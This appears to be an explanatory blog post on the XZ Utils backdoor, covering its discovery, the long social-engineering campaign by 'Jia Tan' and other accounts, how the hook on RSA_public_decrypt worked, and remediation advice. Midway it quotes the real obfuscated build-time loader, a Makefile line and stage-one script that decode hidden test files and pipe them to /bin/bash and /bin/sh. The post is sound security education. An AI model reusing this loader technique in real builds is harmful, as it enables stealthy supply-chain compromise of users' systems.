Introduction

Recently, a dangerous backdoor was found in XZ Utils—a tool used to compress files that is very important to many Linux systems around the world. This discovery has shocked the open-source community because it shows that even trusted software can have serious security problems. This backdoor wasn't just a simple piece of harmful code; it was a well-planned attack that took years to create, aiming at the core of Linux systems. In this blog post, we'll look at how this backdoor was discovered, explain how it works, and talk about the ongoing investigations to understand this threat.

Understanding XZ Utils

XZ Utils is a free command-line tool used to compress data without losing any information. It is known for its great compression ratios. It is used a lot on the internet, especially in Linux systems, because it can efficiently compress files. Package managers use it to make software packages smaller, and even kernel.org uses it to compress the Linux kernel. Because it is used so much, any weakness in it is a big problem.

How the Backdoor Was Discovered

The backdoor was found when a PostgreSQL developer working at Microsoft noticed strange behavior on a Debian Linux system.

Andres

While trying to figure out why SSH logins were taking a long time, using too much CPU, and causing errors with a memory debugging tool, he found the problem was related to recent updates made to XZ Utils. This wasn't just a small bug—it was the beginning of a serious problem.

Investigating the Backdoor

After more investigation, it was found that the problem was in the latest version of XZ Utils. The backdoor wasn't only in Debian's XZ package; it was also in the main XZ repository, which meant it could have affected many Linux systems if it hadn't been found.

Since XZ Utils is open-source, hiding harmful code was not easy. The attackers hid the backdoor in binary files in the test folder—places that are usually not checked carefully during code reviews. To make things even harder, part of the backdoor was encrypted using the XZ library itself.

This script is executed and, if some preconditions match, modifies $builddir/src/liblzma/Makefile to contain

1am__test = bad-3-corrupt_lzma2.xz
2...
3am__test_dir=$(top_srcdir)/tests/files/$(am__test)
4...
5sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
6
7
8which ends up as
9...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "	 \-_" " 	_\-" | xz -d | /bin/bash >/dev/null 2>&1; ...
10
11Leaving out the "| bash" that produces
12
13####Hello####
14#��Z�.hj�
15eval `grep ^srcdir= config.status`
16if test -f ../../config.status;then
17eval `grep ^srcdir= ../../config.status`
18srcdir="../../$srcdir"
19fi
20export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
21####World####

After de-obfuscation this leads to the attached injected.txt.

When the encrypted file was decompressed and run in Bash, it revealed a script that used several [head] commands. This script loaded the next part of the backdoor in small pieces, which made it hard to detect. The script built the backdoor bit by bit by keeping and discarding different byte ranges, making it difficult to find and analyze.

How the Backdoor Worked

The reconstructed script, called injected.do.txt, was designed to run at the end of building XZ Utils. It only activated under certain conditions:

• The system had to be running x86_64 Linux.

• GCC (GNU Compiler Collection) was used to build packages.

• The build process was part of a Debian or RPM package build.

By focusing on these conditions, the backdoor targeted Debian and Red Hat-based systems, which are some of the most commonly used Linux systems in businesses.

Once these conditions were met, a binary file named liblzma_la-crc64_fast.o was added into the build process, effectively putting a backdoor in the system. This file was a binary object, so it needed to be reverse-engineered to fully understand what it could do.

How the Backdoor Operated

The backdoor installed an audit hook into the dynamic linker, which loads shared libraries when programs run. This hook was called for many symbols, but it was specifically waiting for RSA_public_decrypt@plt to be used. When this happened, it redirected this symbol to its own code.

When called, the backdoor's code interacted with the libcrypto library, probably to check a cryptographic key. The main theory is that the attacker could use their key to run any command they wanted with full system permissions—giving them complete control over the compromised system.

The Attackers' Plan

The scariest part was how carefully the attackers planned their infiltration of the XZ Utils repository. This wasn't a quick hack; it was a long-term plan involving several people over many years.

• April 2022: A user named "Jia Tan" sent their first patch to XZ via a mailing list.

  https://www.mail-archive.com/xz-devel@tukaani.org/msg00553.html

• May 2022: Another user, "Jigar Kumar," joined the conversation, complaining about slow releases and pushing for quicker updates.

  https://www.mail-archive.com/xz-devel@tukaani.org/msg00555.html

  https://www.mail-archive.com/xz-devel@tukaani.org/msg00565.html

• 2023: "Jia Tan" made several commits, even changing the primary contact email from the original maintainer to their own.

  https://github.com/tukaani-project/xz

• June 2023

  : "Hans Jansen" appeared, making small contributions but pushing for a compromised version of XZ to be included in Debian's repositories.

These accounts didn't do much outside of the XZ Utils project, which suggests they were created just for this attack. The attackers were patient and coordinated, slowly gaining influence to add the backdoor without being noticed.

The Potential Danger

If this backdoor had not been found, it could have been disastrous. XZ Utils is used on many systems—servers, desktops, and devices. The attackers could have run harmful code on many important systems, leading to data leaks, service outages, and more attacks. The CVSS score of 10.0 highlights the severity and urgency of the threat, providing a clearer picture of the risk involved.

Community Response: Fixing the Problem

After the backdoor was discovered, the open-source community worked quickly to fix the issue. Here are the current recommendations:

• Update Immediately: If you are using XZ Utils version 5.6.0 or 5.6.1, update to a patched version as soon as possible.

• Downgrade Temporarily: If a patched version is not available, downgrade to a version before 5.6.0.

• Verify Installations: Make sure your XZ Utils installations are from trusted sources.

• Audit Systems: Check for any unusual activity that might indicate a compromise.

Even if you are not using a Debian or Red Hat-based system, it's important to stay alert. Researchers are still reverse-engineering the backdoor, and there may be other parts or targets that have not yet been found.

Ongoing Investigations

Security experts are still analyzing the backdoor to understand everything it can do and where it came from. The attackers seem highly skilled and may have a lot of resources behind them. Investigations are also trying to trace the fake contributor accounts and see if similar methods have been used in other projects.

The XZ Utils backdoor is a strong reminder that even trusted software can have vulnerabilities. It shows why careful code reviews are so important, especially in open-source projects where everyone can see the code. This incident also shows that the community must stay alert for long-term, sneaky infiltration attempts.

We owe thanks to the developer who noticed the strange behavior and to all the security professionals working hard to protect our digital systems. Their efforts stopped what could have been one of the most damaging backdoors ever.

Stay Safe

• Keep Software Updated: Regularly update all software to the latest versions.

• Verify Sources: Only download software from official, trusted places.

• Participate in the Community: If you are a developer, help with code reviews and security checks.

• Educate Yourself: Stay informed about the latest security threats and best practices.

^{The strength of open-source software is its community. By working together and staying informed, we can protect the tools we rely on and make sure our digital future is safe.}

Thank you for reading. If you found this post helpful, please share it to raise awareness about this important issue. Let's work together to keep our systems secure.